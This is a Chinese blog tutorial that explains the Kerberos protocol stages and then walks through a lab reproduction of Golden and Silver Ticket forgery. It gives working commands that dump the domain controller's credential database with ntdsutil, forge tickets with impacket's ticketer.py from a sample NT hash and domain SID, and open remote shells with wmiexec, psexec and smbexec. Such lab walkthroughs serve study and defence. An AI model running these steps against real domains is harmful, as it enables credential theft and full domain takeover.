Kerberos协议:制作金票银票

1.基础详解

Kerberos协议是一个基于票据(Ticket)的系统,kerberos的两个基础认证模块AS_REQ & AS_REP,TGS_REQ & TGS_REP。以及微软扩展的两个认证模块S4U和PAC。,在Kerberos系统中至少有三个角色:认证服务器(AS),客户端(Client)和普通服务器(Server)。认证服务器对用户进行验证,并发行供用户用来 请求会话票据的TGT(票据授予票据)。票据授予服务(TGS):在发行给客户的TGT的基础上,为网络服务发行ST(会话票据)。
kerberos的简化认证认证过程如下图:
在这里插入图片描述

1.KRB_AS_REQ

用户 User 向 KDC 请求,请求授予 TGT( ticket-granting ticket 票证授予票证),该过程就是一个证明你是你的过程。TGT 是一条加密的信息,其中包含会话密钥和用户信息(ID,名称,组等)。而用户向 AS(也可理解为 KDC) 发送的信息为 username+用 user-hash 加密的时间戳。AS 将收到此用户名,并将验证它是否存在于其数据库中。如果存在,则使用hash解密时间戳,以此来确定用户身份并且获得会话时间。

2.KRB_AS_REP

KDC 返回的信息有:

返回客户端与 TGS 的会话密钥,用 User 的 hash 进行加密。
TGT,TGT 使用的是 KDC 上 krbtgt 的 hash 加密,只有 KDC 可以解密,TGT 中包括
用户名(User)。
有效期。
客户端与 TGS 的会话密钥。
PAC(特权属性证书,其中包含了大量的关于用户的具体信息,包括他的标识符(SID)和所在的组)。

此阶段攻击者可以伪造票据授予票据(TGT)就是制作黄金票据;

本地复现:

所用环境:
域控:server2016;192.168.102.53
域内用户:win10(与主机名一直致);
先本地 dump下来域控所有hash:
ntdsutil "activate instance ntds" ifm "create full C:\windows\temp\ntdsutil" quit quit
在这里插入图片描述2.制作金票:

python ticketer.py -nthash 567430dc0f49d9466eb628a7a26ea6f1 -domain-sid S-1-5-21-4288872163-1171123276-120135037 -domain sharlongwen.com administrator

在这里插入图片描述设置环境变量:

set KRB5CCNAME=C:\Users\w'x'l\Desktop\opt\examples\administrator.ccache

设置host解析 :

192.168.102.55  win10

进行认证:

python wmiexec.py -k -no-pass -dc-ip 192.168.102.53 -debug win10

在这里插入图片描述其他的smbexec,psexec,xmbclient文件都可以申请认证;

票务授予服务(TGS)

经过 AS 阶段后,已经完成了身份的验证,用户只要拿着 TGT 即可取申请固定服务的 ST(Client-to-server ticket),需要注意,有的文章中会把 ST 和 TGS 的概念混淆掉,TGS 是整个 kerberos 认证中的一个组成部分,并不是票据。

KRB_TGS_REQ User 要申请服务,例如 申请 SERV01上的 CIFS服务,他将向 TGS 发送信息以换取 ST 发送的信息有: \1. TGT。 \2. 要使用的服务以及关联的主机,即 CIFS/SERV01。 \3. Authenticator(身份验证器),包含他的用户名和当前时间戳,使用 AS 阶段获取的 客户端与 TGS 的会话密钥 加密。

KDC 收到 TGT 后解密拿到 会话密钥,用会话密钥解密 Authenticator ,再与 TGT 中的用户信息做对比,来确定用户身份。

KRB_TGS_REP 验证身份后,KDC 将返回信息,允许用户向服务提出请求。 返回的信息有:

客户端与服务端的会话密钥(用 AS 阶段的会话密钥加密 即 用客户端与 TGS 的会话密钥加密)
ST,用服务端的 hash 加密,ST 中包括

  • 请求的服务 (CIFS/SERV01)
  • 客户的用户名 (User)
  • PAC
  • 客户端与服务端的会话密钥

这个阶段可以伪造白银票据(ST):

python ticketer.py -nthash 域内机器用户hash  -domain-sid 域SID -domain 域名 -spn 服务名/机器用户名.域名 域内管理员的用户名
python ticketer.py -nthash 97e3d0c7e68a87674132bf333532cb36 -domain-sid S-1-5-21-4288872163-1171123276-120135037 -domain sharlongwen.com -spn CIFS/WIN7.sharlongwen.com administrator

设置环境变量:

set KRB5CCNAME=C:\Users\w'x'l\Desktop\opt\examples\administrator.ccache
python smbclient.py -k -no-pass win10 -debug

在这里插入图片描述

python wmiexec.py -k -no-pass win10 -debug

在这里插入图片描述python psexec.py -k -no-pass win7 -debug

在这里插入图片描述可以发现这种方式是上传了个文件

python smbexec.py -k -no-pass win10 -debug

在这里插入图片描述
这种方式是远程执行了一个bat文件.

总结

金票就是获得了TGT,需要向DC进行通信
银票获得了ST.不需要 向域控进行通信

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

陈年往事心中绕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值